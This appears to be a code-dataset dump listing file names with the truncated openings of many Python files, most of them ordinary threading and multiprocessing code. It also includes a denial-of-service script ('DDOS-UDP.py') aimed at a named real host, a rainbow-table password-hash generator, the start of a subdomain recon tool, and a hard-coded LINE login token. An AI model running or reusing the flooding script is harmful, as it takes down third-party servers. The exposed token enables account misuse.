source
stringlengths
3
86
python
stringlengths
75
1.04M
ipython_memory_usage.py
#!/usr/bin/env python # -*- coding: utf-8 -*- """Profile mem usage envelope of IPython commands and report interactively""" from __future__ import division # 1/2 == 0.5, as in Py3 from __future__ import absolute_import # avoid hiding global modules with locals from __future__ import print_function # force use of pri...
test_dag_serialization.py
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not...
alumnoyasesor.py
'Macario Falcon Leonel' 'Ejercicios de Sincronizacion' 'Problema: Los alumnos y el asesor' 'Puede haber hasta 5 alumnos en una misma asesoria' 'Sopora hasta 2 preguntas por alumno' import threading import time import random alumnos = 0 auxiliarPreguntas = 0 turno = 0 dicAlu = {} hilos_alum = 1#no hay 0 alumnos mutex ...
test_core.py
from datetime import timedelta from functools import partial import itertools import json import operator from operator import add import os from time import time, sleep import sys import pytest from tornado import gen from tornado.queues import Queue from tornado.ioloop import IOLoop import streamz as sz from stre...
master.py
# -*- coding: utf-8 -*- # Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved. # This program is free software; you can redistribute it and/or modify # it under the terms of the MIT License. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the...
demo_multithread.py
import caffe import argparse import os import cv2 import numpy as np import time import matplotlib.pyplot as plt import threading import Queue from mpl_toolkits.mplot3d import Axes3D import utils parser = argparse.ArgumentParser() parser.add_argument('--device', default='gpu') parser.add_argument('--model_dir', defau...
test_inquire_balances_parralelly.py
# passed from wrapper.client import Client from wrapper import db as DB import os import requests import threading import json result=[] def store_response(address): content = requests.get('http://47.52.0.154:8888/accounts/' + address) content=content.content try: content=json.loads(content) ...
ydlhandler.py
import os from queue import Queue from threading import Thread import subprocess import io import importlib import json from time import sleep from datetime import datetime import sys from subprocess import Popen, PIPE, STDOUT from ydl_server.logdb import JobsDB, Job, Actions, JobType def reload_youtube_dl(): fo...
navigate_phy_parallel_controller.py
#! /usr/bin/python # Copyright (c) 2015, Rethink Robotics, Inc. # Using this CvBridge Tutorial for converting # ROS images to OpenCV2 images # http://wiki.ros.org/cv_bridge/Tutorials/ConvertingBetweenROSImagesAndOpenCVImagesPython # Using this OpenCV2 tutorial for saving Images: # http://opencv-python-tutroals.readth...
async_.py
# Copyright 2018, OpenCensus Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in w...
scheduler.py
import os import time import signal import shutil import math import tvm import numpy as np try: import torch.multiprocessing as _multi except ImportError: import multiprocessing as _multi multi = _multi.get_context("spawn") from tvm import rpc from collections import deque from queue import Empty from functoo...
sensor_integration_test.py
import os import sys import threading import unittest from multiprocessing import Process from time import sleep from unittest.mock import patch from ev3dev2.sensor.lego import UltrasonicSensor, ColorSensor, TouchSensor from ev3dev2.unit import STUD_MM from ev3dev2.wheel import EV3EducationSetTire from ev3dev2.moto...
server.py
#main.py from gevent import monkey from random import * monkey.patch_all() import time from threading import Thread from flask import Flask, render_template, session, request from flask_socketio import SocketIO, emit, join_room, disconnect import serial import random from datetime import datetime app = Flask(__name__)...
fntxworld.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import time from src import InstaBot from src.check_status import check_status from src.feed_scanner import feed_scanner from src.follow_protocol import follow_protocol from src.unfollow_protocol import unfollow_protocol from multiprocessing import Process from ...
datasets.py
import glob import math import os import random import shutil import time from pathlib import Path from threading import Thread import cv2 import numpy as np import torch from PIL import Image, ExifTags from torch.utils.data import Dataset from tqdm import tqdm from utils.utils import xyxy2xywh, xywh2...
__init__.py
# -*- coding: utf-8 -*- import csv import io import logging import os import threading import time import cxnstr import greenlet import pymysql import pymysql.constants.FIELD_TYPE as FT import pynvim import six import nvim_mysql.autocomplete import nvim_mysql.util logger = logging.getLogger(__name__) logger.setLev...
main_client.py
import tkinter import socket from threading import Thread import cv2 import zmq import base64 import numpy as np IP = "" PORT = 0 class Viewer: context = zmq.Context() footage_socket = context.socket(zmq.SUB) def __init__(self): self.footage_socket.connect('tcp://'+IP+':5555') self.footag...
handlers.py
from tornado import gen, web, locks import traceback import urllib.parse from notebook.base.handlers import IPythonHandler import threading import json import os from queue import Queue, Empty import jinja2 from .pull import GitPuller from .version import __version__ class SyncHandler(IPythonHandler): def __ini...
cmdline.py
"""Main entry-point into pyEntrez, handling cmdline args and initializing prompt or TUI service. When script is started the user will be checked against local user file; if they are a first-time user they willwill go through a new user creation via the user_cred module and then return. If they are a returning user the...
anomaly_detector.py
from __future__ import division, print_function from threading import Thread import os import ConfigParser import logging import numpy as np import pandas as pd from atrial_fibrillation import AtrialFibrillation from ventricular_tachycardia import VentricularTachycardia from apc_pvc_helper import APC_helper from pvc...
StateUtils.py
# Copyright 2020 The KNIX Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agree...
__init__.py
#!/usr/bin/env python # Copyright (c) 2015-2017 Anish Athalye (me@anishathalye.com) # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the ri...
test_capi.py
# Run the _testcapi module tests (tests for the Python/C API): by defn, # these are all functions _testcapi exports whose name begins with 'test_'. import os import pickle import random import re import subprocess import sys import sysconfig import textwrap import time import unittest from test import support from te...
okcoin.py
# Import Built-Ins import logging import json import threading import time # Import Third-Party from websocket import create_connection, WebSocketTimeoutException import requests # Import Homebrew from bitex.api.WSS.base import WSSAPI # Init Logging Facilities log = logging.getLogger(__name__) class OKCoinWSS(WSSA...
roof_control.py
from threading import Thread from time import sleep from components.roof_control import RoofControl class MockRoofControl(RoofControl): def __init__(self): super().__init__() self.roof_open_switch.pin.drive_high() self.roof_closed_switch.pin.drive_low() def open(self): self....
sdk_worker.py
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
thread_sample.py
import logging import threading import time def thread_function(name): logging.info("Thread %s: starting", name) for i in range(1000000000): pass # time.sleep(2) logging.info("Thread %s: finishing", name) if __name__ == "__main__": format = "%(asctime)s: %(message)s" logging.basicCo...
gui.py
import eel import os import battlecode_cli as cli import threading import sys import json import signal import psutil import player_plain import battlecode as bc import zipfile import requests import base64 target_dir = os.path.abspath(os.path.dirname(__file__)) print('Moving into', target_dir) os.chdir(target_dir) ...
test_syncobj.py
from __future__ import print_function import os import time import pytest import random import threading import sys import pysyncobj.pickle as pickle import pysyncobj.dns_resolver as dns_resolver import platform if sys.version_info >= (3, 0): xrange = range from functools import partial import functools import str...
rainbow_server.py
#!/usr/bin/python import crypt import psycopg2 import multiprocessing from string import letters,digits,printable from itertools import product from threading import Thread def generate_data(q, maxlen=2, minlen=1): """ create base passwords for consumer threads to crypt """ alphabet = 'ab' alphabet = p...
wallet.py
# Electrum - lightweight Bitcoin client # Copyright (C) 2015 Thomas Voegtlin # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights t...
DDOS-UDP.py
import socket import time import threading MAX_CONNECT = 200 PORT = 8088 HOST = "dc.qdzx.net" PAGE = "/" buf = ("POST %s HTTP/1.1\r\n" "Host: %s\r\n" "Content-Length: 10000000000\r\n" "Cookie: dklkt_dos_test\r\n" "\r\n" % (PAGE, HOST)) buf = buf.encode() socks = [] def conn_thread(MAX_CON...
multi_echo_server.py
import socket import time from multiprocessing import Process HOST = "" PORT = 8001 BUFFER_SIZE = 1024 def handle_echo(addr,conn): print("Connected by",addr) echo_data = conn.recv(BUFFER_SIZE) time.sleep(0.5) conn.sendall(echo_data) conn.shutdown(socket.SHUT_RDWR) conn.close() def main(): ...
test_zrobot_api.py
import os import shutil import tempfile import time import unittest import uuid from multiprocessing import Process import pytest from jumpscale import j from zerorobot import config from zerorobot import service_collection as scol from zerorobot import template_collection as tcol from zerorobot.dsl.ZeroRobotAPI impor...
KS_demo_4.0.py
import os import re import sys import json import time import random import requests import threading from queue import Queue from PyQt5.QtWidgets import (QWidget, QLineEdit,QPushButton,QProgressBar, QTextEdit, QGridLayout, QApplication) from PyQt5.QtCore import QCoreApplicatio...
runner.py
import threading from multiprocessing import Process import json import socket import asyncio import logging import sys from resources.commands import build_porter_command, build_porter_command_for_outputs from shared.config import get_config from resources.helpers import get_installation_id from resources.httpserver i...
multi-t.py
import threading def calc_square(number): print(f'Square: {number * number}') def calc_quad(number): print(f'Quad: {number * number * number * number}') if __name__ == "__main__": print(f'Starting execution of {__name__}...') number = 7 thread1 = threading.Thread(target=calc_square, args=(number,...
models.py
# -*- coding: utf-8 -*- from __future__ import annotations import copy import json import logging import multiprocessing import uuid from enum import Enum from typing import TYPE_CHECKING, Dict, List, Type, Union, cast import yaml from django.contrib.auth.models import Group, User from django.contrib.contenttypes.fie...
netspeed.py
import threading import time import psutil from tkinter import Tk,Label,Button,OptionMenu,StringVar,NORMAL,DISABLED,PhotoImage from tkinter.messagebox import showinfo import os import sys speedUp=None speedDown=None bgr='black' alpha=.9 run=True interface=[itf for itf in list(dict.keys(psutil.net_if_stats())) if(psuti...
chat_command.py
import threading from collections import deque from discord_bot.commands.base_command import BaseCommand from generation.sanitization import * class ChatCommand(BaseCommand): """ A simple chat bot that responds to messages in a designated channel """ COMMAND_OPTION = 'chat' def __init__(self, c...
exchange_rate.py
from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals from datetime import datetime import inspect import requests import sys from threading import Thread import time import traceback import csv from decimal import Decimal ...
core.py
import queue import time import zmq from multiprocessing import Process from multiprocessing import Queue from astropy import units as u from . import PanBase from .observatory import Observatory from .state.machine import PanStateMachine from .utils import current_time from .utils import get_free_space from .utils....
wrap_cmd_call.py
import logging import subprocess from enum import Enum from subprocess import Popen, PIPE from queue import Queue from threading import Thread from typing import List, Optional, Callable from klgists import logger from klgists.common.exceptions import ExternalCommandFailed class PipeType(Enum): STDOUT = 1 STDERR = ...
reporter.py
# -*- coding:utf-8 -*- # Copyright xmuspeech (Author: Snowdar 2020-02-09) import os, sys import time import shutil import logging import progressbar import traceback import pandas as pd from multiprocessing import Process, Queue import libs.support.utils as utils # Logger logger = logging.getLogger(__name__) logge...
test_serialize.py
# Copyright (c) 2018, NVIDIA CORPORATION. import sys import multiprocessing as mp import numpy as np import pandas as pd from numba import cuda try: from distributed.protocol import serialize, deserialize _have_distributed = True except ImportError: _have_distributed = False import pytest import pygdf fro...
test_remote.py
import threading import time import unittest from jina.logging import get_logger from jina.main.parser import set_gateway_parser, set_pea_parser from jina.peapods.pod import GatewayPod from jina.peapods.remote import PeaSpawnHelper from tests import JinaTestCase class MyTestCase(JinaTestCase): def test_logging_t...
m.py
#! /usr/bin/env python3 # -*- coding: UTF-8 -*- #import tracemalloc #tracemalloc.start() import os, sys,asyncio,concurrent,functools,shutil #import uvloop #asyncio.set_event_loop_policy(uvloop.EventLoopPolicy()) os.system('cd /root/b/d;mv *.flv /root/b/d/bu/') from os.path import split, join, exists, abspath, isdir, e...
downloader.py
# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
example.py
#!/usr/bin/python # -*- coding: utf-8 -*- import flask from flask import Flask, render_template from flask_googlemaps import GoogleMaps from flask_googlemaps import Map from flask_googlemaps import icons import os import re import sys import struct import json import requests import argparse import getpass import thre...
ExportIndicators.py
import demistomock as demisto from CommonServerPython import * from CommonServerUserPython import * import re import json import traceback from base64 import b64decode from multiprocessing import Process from gevent.pywsgi import WSGIServer from tempfile import NamedTemporaryFile from flask import Flask, Response, req...
example_test.py
import http.server import os import random import re import socket import ssl import struct import subprocess from threading import Thread import ttfw_idf from tiny_test_fw import DUT server_cert = '-----BEGIN CERTIFICATE-----\n' \ 'MIIDWDCCAkACCQCbF4+gVh/MLjANBgkqhkiG9w0BAQsFADBuMQswCQYDVQQGEwJJ\n'\ ...
test_acl_propagation.py
# Copyright (C) 2018 Google Inc. # Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file> """Test acl role propagation on workflows.""" # pylint: disable=invalid-name import datetime from copy import deepcopy from threading import Thread from freezegun import freeze_time from ggrc import db fr...
parse.py
#!/usr/bin/env python # coding=utf-8 # Stan 2018-06-05 from __future__ import (division, absolute_import, print_function, unicode_literals) import os from itertools import islice from threading import Thread from sqlalchemy import select, and_ from .. import * from ..core.data_funcs import f...
multi_processing.py
from multiprocessing import Process import os # 子进程要执行的代码 def run_proc(name): print('Run child process %s (%s)...' % (name, os.getpid())) if __name__=='__main__': print('Parent process %s.' % os.getpid()) p = Process(target=run_proc, args=('test',)) print('Child process will start.') p.start() ...
iostream.py
# coding: utf-8 """Wrappers for forwarding stdout/stderr over zmq""" # Copyright (c) IPython Development Team. # Distributed under the terms of the Modified BSD License. from __future__ import print_function import atexit from binascii import b2a_hex from collections import deque try: from importlib import lock_h...
recorder.py
import os from kivy.uix.boxlayout import BoxLayout from kivy.lang import Builder from kivy.properties import BooleanProperty, NumericProperty, StringProperty, ListProperty, OptionProperty, ObjectProperty import threading import time from collections import deque from midistream.helpers import midi_command_increase_chan...
api.py
#!/usr/bin/python # -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function, \ with_statement import os import sys from multiprocessing import Process from shadowsocks import asyncdns, tcprelay, udprelay, eventloop, shell # 对外提供API服务代码 # 具体要求是 当接收到 一个uid和相关配置后,启动监听和事件 __all__ = [...
tun.py
# # Copyright (c) 2016-2017, The OpenThread Authors. # All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless re...
parallel.py
"""Utility code to execute code in parallel.""" from __future__ import absolute_import from __future__ import print_function import Queue import threading import time from multiprocessing import cpu_count from typing import Any, Callable, List def parallel_process(items, func): # type: (List[Any], Callable[[Any]...
commands.py
# coding: utf-8 # # commands.py # Part of SublimeLinter3, a code checking framework for Sublime Text 3 # # Written by Ryan Hileman and Aparajita Fishman # # Project: https://github.com/SublimeLinter/SublimeLinter3 # License: MIT # """This module implements the Sublime Text commands provided by SublimeLinter.""" impor...
launcher.py
# Licensed to Elasticsearch B.V. under one or more contributor # license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright # ownership. Elasticsearch B.V. licenses this file to you under # the Apache License, Version 2.0 (the "License"); you may # not use this f...
manager.py
#!/usr/bin/env python2.7 import os import sys import fcntl import errno import signal import subprocess from common.basedir import BASEDIR sys.path.append(os.path.join(BASEDIR, "pyextra")) os.environ['BASEDIR'] = BASEDIR def unblock_stdout(): # get a non-blocking stdout child_pid, child_pty = os.forkpty() if ch...
download.py
from py_minecraft_server.utils import validate_version, soupify_url, get_vanilla_url, get_forge_url from py_minecraft_server import logger import asyncio import threading import time import urllib.request import os import shutil async def download_jar(version: str, save_location: str, is_forge: bool, create_dirs: boo...
cmd.py
# cmd.py # Copyright (C) 2008, 2009 Michael Trier (mtrier@gmail.com) and contributors # # This module is part of GitPython and is released under # the BSD License: http://www.opensource.org/licenses/bsd-license.php import os import os.path import sys import select import logging import threading import errno import mm...
shell.py
"""Command execution in bash shells""" import time from . import config from .logging import logger def run_shell_command(command: str, log_command: bool = True): """ Runs a command in a bash shell and logs the output of the command in (near)real-time. Args: command: The command to run ...
__version__.py
# pylint: disable=C0415,C0413 __version__ = '0.0.25' def check_version(): def _check_version(): import re from distutils.version import LooseVersion as V import httpx try: resp = httpx.get( 'https://mirrors.aliyun.com/pypi/simple/botoy/', timeout=10 ...
stockfish_eval.py
import os import chess, chess.uci, chess.pgn import numpy as np import threading class StockfishEval: """ Evaluates board positions from a .pgn file in parallel. Saves a npy dictionary of FEN positions and their Stockfish evaluations. """ def __init__(self, stockfish_exe, ...
app2.py
from flask import request, Flask from flask_restful import Resource, Api import os import subprocess import requests from threading import Thread import json import time import yaml # TODO differentiate between service_name used in balena and image_name used for filecoin # TODO better comments EDGE_IP_ADDRESS = "ht...
main.py
#!/usr/bin/env python import threading import time import random import sys import multiprocessing as mp import os # import agent types (positions) from aigent.soccerpy.agent import Agent as A0 # strikers from aigent.agent_1 import Agent as A1 # defenders from aigent.agent_2 import Agent as A2 # goalie from aigent.ag...
util.py
import atexit import os import shutil import sys import ctypes if sys.version_info[0] < 3 or sys.version_info[1] < 5: print("\nPlease restart with python3. \n(Taichi supports Python 3.6+)\n") print("Current version:", sys.version_info) exit(-1) tc_core = None def in_docker(): if os.environ.get("TI_IN_DOCKE...
BuildReport.py
## @file # Routines for generating build report. # # This module contains the functionality to generate build report after # build all target completes successfully. # # Copyright (c) 2010 - 2018, Intel Corporation. All rights reserved.<BR> # SPDX-License-Identifier: BSD-2-Clause-Patent # ## Import Modules ...
write_data_to_pkl.py
import argparse import multiprocessing as mp import os import pickle import numpy as np import svg_utils ''' {'uni': int64, # unicode value of this glyph 'width': int64, # width of this glyph's viewport (provided by fontforge) 'vwidth': int64, # vertical width of this glyph's viewport 'sfd': binary/str, # glyph, c...
main.py
import requests, threading, random, string, randominfo #We will use randominfom package to generate random names, to install run following command -> $ pip install randominfo #Coded by: Fabian Stevens Varon V. #Credits - Youtube: https://www.youtube.com/watch?v=StmNWzHbQJU def randomPhoneNumber(): phoneNum...
basic.py
# -*- coding: utf-8 -*- """ flask.testsuite.basic ~~~~~~~~~~~~~~~~~~~~~ The basic functionality. :copyright: (c) 2011 by Armin Ronacher. :license: BSD, see LICENSE for more details. """ from __future__ import with_statement import re import flask import pickle import unittest from datetime impor...
main.py
from tkinter import * from tkinter import ttk, messagebox import pyautogui as pa import time, threading from pynput import keyboard class AutoClicker: def __init__(self, h, m, s, ms, pos, times, w): self.time = ms+s*1000+m*60000+h*60*60*1000 self.started = True self.button = "left" self.position = pos self....
key_control.py
import logging import time import signal import sys import pygame import sys import threading import cflib.crtp from cflib.crazyflie.syncCrazyflie import SyncCrazyflie from cflib.crazyflie.log import LogConfig URI = 'radio://0/80/250K' def signal_handler(signal, frame): print("**** Crazyflie Stopping ****") ...
train_imagenet.py
#!/usr/bin/env python """Example code of learning a large scale convnet from ILSVRC2012 dataset. Prerequisite: To run this example, crop the center of ILSVRC2012 training and validation images and scale them to 256x256, and make two lists of space- separated CSV whose first column is full path to image and second colu...
test_worker.py
import json import logging import time import threading from multiprocessing import Queue try: from queue import Empty except ImportError: from Queue import Empty import boto3 from moto import mock_sqs from mock import patch, Mock from pyqs.worker import ( ManagerWorker, ReadWorker, ProcessWorker, BaseWor...
Interfaz2.2.py
try: import tkinter as tk except: import Tkinter as tk import threading import random class Tarjeta(tk.Canvas): """docstring for Tarjeta""" def __init__(self, master = None, width = None, height = None, color = None, image = None, **kwargs): bg = master["bg"] super(Tarjeta, self).__init__(master = master, width...
test_with_dummy_client.py
#!/usr/bin/env python3 # testWithDummyClient.py import os import threading import time import unittest # from io import StringIO # UNUSED from rnglib import SimpleRNG from wireops.chan import Channel # import wireops.typed as T # AS YET UNUSED # impor...
test_output.py
import subprocess import sys import pytest import re import ray from ray._private.test_utils import run_string_as_driver_nonblocking @pytest.mark.skipif(sys.platform == "win32", reason="Failing on Windows.") def test_fail_importing_actor(ray_start_regular, error_pubsub): script = """ import os import sys import...
microphone.py
import speech_recognition as sr from time import sleep from threading import Thread from queue import Queue import os class MicrophoneStream: HOUNDIFY_CLIENT_ID = os.environ['HOUNDIFY_CLIENT_ID'] HOUNDIFY_CLIENT_KEY = os.environ['HOUNDIFY_CLIENT_KEY'] def __init__(self): self.recognizer = sr.Recog...
tb_device_mqtt.py
# Copyright 2020. ThingsBoard # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
camera_pi.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # camera_pi.py # # # import time import io import threading import picamera class Camera(object): thread = None # background thread that reads frames from camera frame = None # current frame is stored here by background thread last_access = 0 # tim...
listen.py
import os import sys import json import time import argparse import threading import collections import pika from rez.config import config parser = argparse.ArgumentParser() parser.add_argument("-v", "--verbose", action="count") parser.add_argument("--file") parser.add_argument("--save-interval", default=2, type=int)...
regz_socket_MP_FD.py
# coding: utf-8 # # load package and settings # In[ ]: import cv2 import sys import dlib import time import socket import struct import numpy as np import tensorflow as tf # from win32api import GetSystemMetrics # import win32gui from threading import Thread, Lock import multiprocessing as mp from config import g...
ChannelManager.py
#!/usr/bin/env python3 # -*- coding:utf-8 -*- # @author jsbxyyx # @since 1.0 import queue import selectors import socket import sys import threading import time from concurrent.futures import ThreadPoolExecutor from loguru import logger from seata.core.ByteBuffer import ByteBuffer from seata.core.protocol.HeartbeatMe...
run_results.py
import numpy as np import os import copy import threading import argparse from results import get_runs ############################################## parser = argparse.ArgumentParser() parser.add_argument('--print', type=int, default=0) cmd_args = parser.parse_args() ############################################## ...
multi_threading.py
#-*- coding: utf-8 -*- from threading import Thread import time def loop(idx, nsec): print("start loop", idx, " at ", time.ctime()) time.sleep(nsec) print("start loop", idx, " at ", time.ctime()) def main(): print("Process start at ", time.ctime()) thread0 = Thread(target=loop, args=(0, 4)) th...
sublist3r.py
#!/usr/bin/env python # coding: utf-8 # Sublist3r v1.0 # By Ahmed Aboul-Ela - twitter.com/aboul3la # modules in standard library import re import sys import os import argparse import time import hashlib import random import multiprocessing import threading import socket import json from collections import Counter # e...
capture_bci.py
from pylsl import StreamInlet, resolve_byprop, local_clock, TimeoutError from pylsl import StreamInfo, StreamOutlet from bci import open_bci_v3 as bci import signal, sys, os, time, csv import serial import threading import win32api as win board = None samples_lock = threading.Lock() class Board(object): LSL_STREAM_...
main4.py
import numpy as np from numpy import linalg as la import time import subprocess from streaming import * #import MovieLensNew as MovieLens import MovieLens from multiprocessing import Process from multiprocessing import Array import sys def runBOI(stream, k,id,arr,allT,nWorkers,doneWithBlock,cond, parentFiles): ...
uploader.py
#!/usr/bin/env python import os import time import stat import json import random import ctypes import inspect import requests import traceback import threading from collections import Counter from selfdrive.swaglog import cloudlog from selfdrive.loggerd.config import ROOT from common.params import Params from common...
test_base_events.py
"""Tests for base_events.py""" import concurrent.futures import errno import math import os import socket import sys import threading import time import unittest from unittest import mock import asyncio from asyncio import base_events from asyncio import constants from test.test_asyncio import utils as test_utils fro...
corpora.py
# Copyright (c) 2019, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
bot.py
# -*- coding: utf-8 -*- import LineAlpha from LineAlpha.lib.curve.ttypes import * from datetime import datetime from imgurpython import ImgurClient import time,random,sys,json,codecs,threading,glob,os,subprocess,multiprocessing cl = LineAlpha.LINE() cl.login(token="EkeaUw67d8l1ksWaRIf9.VPm++2MfGJebW2j6OM3Qcq.N8RkI8fzM...
test.py
#!/usr/bin/env python3 # vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4 import libtorrent as lt import unittest import time import datetime import os import shutil import binascii import subprocess as sub import sys import pickle import threading import tempfile import socket import select import logging import...
tfrecord.py
# coding:utf-8 # 2019-1-10 # tf-record tool from __future__ import absolute_import from __future__ import division from __future__ import print_function from datetime import datetime import os import random import sys import threading import numpy as np import tensorflow as tf import logging __all__ = ['main'] d...
download_urls_multithreading.py
#!/usr/bin/env python """ Tencent is pleased to support the open source community by making Tencent ML-Images available. Copyright (C) 2018 THL A29 Limited, a Tencent company. All rights reserved. Licensed under the BSD 3-Clause License (the "License"); you may not use this file except in compliance with the License. ...
time_service.py
from ..kafka.consumer_manager import ConsumerManager from datetime import datetime import threading import logging def milliseconds_since_epoch(date): return int((date - datetime(1970, 1, 1)).total_seconds() * 1000) def millisecond_since_date(date): # Get delta time since last update dt = datetime.now()...